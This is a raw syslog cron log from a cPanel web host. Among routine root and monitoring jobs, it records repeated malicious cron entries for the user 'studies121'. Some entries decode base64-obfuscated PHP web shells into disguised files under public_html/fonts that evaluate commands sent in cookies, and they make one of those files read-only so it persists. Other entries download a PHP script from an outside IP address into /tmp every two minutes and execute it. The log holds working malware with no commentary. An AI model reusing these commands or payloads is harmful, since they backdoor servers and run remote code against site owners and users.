Sep 21 11:06:01 ip-184-168-122-23 CROND[18777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:07:01 ip-184-168-122-23 CROND[18910]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:07:01 ip-184-168-122-23 CROND[18911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:07:01 ip-184-168-122-23 CROND[18912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:07:01 ip-184-168-122-23 CROND[18916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:08:01 ip-184-168-122-23 CROND[19098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:08:01 ip-184-168-122-23 CROND[19101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:08:01 ip-184-168-122-23 CROND[19102]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:08:01 ip-184-168-122-23 CROND[19100]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 11:08:01 ip-184-168-122-23 CROND[19103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:09:01 ip-184-168-122-23 CROND[19215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:09:01 ip-184-168-122-23 CROND[19217]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:09:01 ip-184-168-122-23 CROND[19218]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 11:09:01 ip-184-168-122-23 CROND[19216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:09:01 ip-184-168-122-23 CROND[19219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:10:02 ip-184-168-122-23 CROND[19370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:10:02 ip-184-168-122-23 CROND[19372]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 11:10:02 ip-184-168-122-23 CROND[19375]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 11:10:02 ip-184-168-122-23 CROND[19377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:10:02 ip-184-168-122-23 CROND[19374]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 11:10:02 ip-184-168-122-23 CROND[19378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:10:02 ip-184-168-122-23 CROND[19373]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 11:10:02 ip-184-168-122-23 CROND[19382]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:11:01 ip-184-168-122-23 CROND[19524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:11:01 ip-184-168-122-23 CROND[19526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:11:01 ip-184-168-122-23 CROND[19527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:11:01 ip-184-168-122-23 CROND[19528]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:12:01 ip-184-168-122-23 CROND[19638]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:12:01 ip-184-168-122-23 CROND[19640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:12:01 ip-184-168-122-23 CROND[19643]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 11:12:01 ip-184-168-122-23 CROND[19641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:12:01 ip-184-168-122-23 CROND[19642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:13:01 ip-184-168-122-23 CROND[19856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:13:01 ip-184-168-122-23 CROND[19857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:13:01 ip-184-168-122-23 CROND[19861]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:13:01 ip-184-168-122-23 CROND[19863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:14:01 ip-184-168-122-23 CROND[20000]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:14:01 ip-184-168-122-23 CROND[20002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:14:01 ip-184-168-122-23 CROND[20004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:14:01 ip-184-168-122-23 CROND[20003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:14:01 ip-184-168-122-23 CROND[20005]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 11:15:01 ip-184-168-122-23 CROND[20159]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:15:01 ip-184-168-122-23 CROND[20158]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 11:15:01 ip-184-168-122-23 CROND[20160]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 11:15:01 ip-184-168-122-23 CROND[20161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:15:01 ip-184-168-122-23 CROND[20162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:15:01 ip-184-168-122-23 CROND[20163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:16:01 ip-184-168-122-23 CROND[20342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:16:01 ip-184-168-122-23 CROND[20345]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:16:01 ip-184-168-122-23 CROND[20344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:16:01 ip-184-168-122-23 CROND[20348]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 11:16:01 ip-184-168-122-23 CROND[20347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:16:01 ip-184-168-122-23 CROND[20349]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 11:17:01 ip-184-168-122-23 CROND[20472]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:17:01 ip-184-168-122-23 CROND[20474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:17:01 ip-184-168-122-23 CROND[20475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:17:01 ip-184-168-122-23 CROND[20473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:18:01 ip-184-168-122-23 CROND[20607]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:18:01 ip-184-168-122-23 CROND[20611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:18:01 ip-184-168-122-23 CROND[20609]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 11:18:01 ip-184-168-122-23 CROND[20610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:18:01 ip-184-168-122-23 CROND[20612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
